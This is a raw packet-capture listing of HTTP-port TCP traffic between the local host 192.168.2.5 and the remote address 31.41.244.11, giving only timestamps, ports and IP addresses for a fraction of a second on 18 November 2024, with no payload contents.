Nov 18, 2024 19:04:13.068686962 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.068701029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068712950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068732023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.068994999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069036961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.069083929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069102049 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069125891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.069134951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.069256067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069272041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069295883 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.069307089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.069572926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069588900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069605112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.069622993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.069647074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116173983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116209984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116257906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116272926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116288900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116344929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116367102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116367102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116425037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116441011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116456032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116478920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116508961 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116852999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116868973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116883039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116898060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116902113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116913080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116929054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.116935968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.116976023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.117647886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.117662907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.117676973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.117691994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.117698908 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.117707014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.117719889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.117722988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.117747068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.117772102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.118549109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.118563890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.118578911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.118593931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.118596077 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.118609905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.118637085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.119482994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.119498014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.119513988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.119529009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.119533062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.119550943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.119574070 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.120225906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.120243073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.120268106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.120280027 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.120285034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.120301008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.120309114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.120316982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.120338917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.120368958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.121118069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121134043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121150017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121175051 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121176004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.121190071 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121198893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.121205091 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121221066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.121227980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.121256113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.121272087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.122056961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.122072935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.122088909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.122107029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.122107983 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.122123957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.122152090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.126405001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126441002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126457930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126485109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.126499891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.126532078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126583099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.126769066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126795053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126810074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.126821041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.126853943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.128454924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.128504992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.128523111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.128537893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.128571033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.128582954 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.186814070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.186845064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.186861992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.186877966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.186912060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.186912060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187104940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187122107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187154055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187179089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187372923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187377930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187380075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187419891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187449932 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187724113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187772989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187787056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187803030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.187824011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.187850952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.188025951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.188050032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.188077927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.188097000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.188280106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.188296080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.188323975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.188421965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.188558102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.188572884 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.188597918 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.188626051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.234859943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.234898090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.234914064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235011101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235011101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235163927 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235179901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235194921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235205889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235210896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235234022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235268116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235779047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235795021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235810995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235824108 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235826015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.235841036 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.235861063 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236155033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236170053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236185074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236202955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236202955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236226082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236254930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236696005 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236711979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236726999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236738920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236742973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236759901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236759901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236768007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.236777067 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.236793041 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.237118959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.238178968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238197088 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238212109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238226891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238236904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.238241911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238248110 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.238259077 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238272905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238281965 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.238287926 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.238301039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.238322973 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239073992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239089966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239104033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239115000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239120007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239142895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239164114 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239664078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239680052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239696026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239703894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239712954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239722013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239729881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239741087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239744902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.239751101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239769936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.239782095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.240638971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240658045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240673065 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240681887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240686893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.240689993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240699053 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240706921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.240793943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.241300106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.241316080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.241336107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.241339922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.241353989 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.241354942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.241369963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.241379023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.241379023 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.241391897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.241411924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245251894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245318890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245470047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245484114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245512962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245543003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245563984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245579958 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245595932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245603085 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245625019 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245636940 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.245852947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.245897055 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.247502089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.247543097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.247554064 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.247560978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.247662067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.307771921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.307847977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.307862997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.307879925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.307898045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.307988882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.308265924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308295965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308311939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308326006 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308341980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308357000 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308372974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308387995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308406115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.308434963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.308434963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.308434963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.308434963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.308434963 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.308450937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.309039116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.309053898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.309070110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.309082031 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.309097052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.309104919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.309117079 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.309129953 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.309133053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.309154034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.309171915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354000092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354074955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354089975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354132891 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354181051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354296923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354311943 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354326963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354350090 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354374886 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354731083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354747057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354760885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354768991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354784012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354799986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.354811907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354825974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.354845047 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.355304956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355335951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355351925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355366945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355381966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355381966 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.355397940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355408907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.355413914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355422974 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.355431080 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.355448008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.355470896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.356183052 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356199026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356211901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356226921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356241941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356242895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.356257915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356271029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.356272936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356282949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.356291056 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.356308937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.356336117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357039928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357096910 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357126951 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357142925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357157946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357171059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357172012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357187986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:13.357189894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:13.357202053 CET	49977	80	192.168.2.5	31.41.244.11
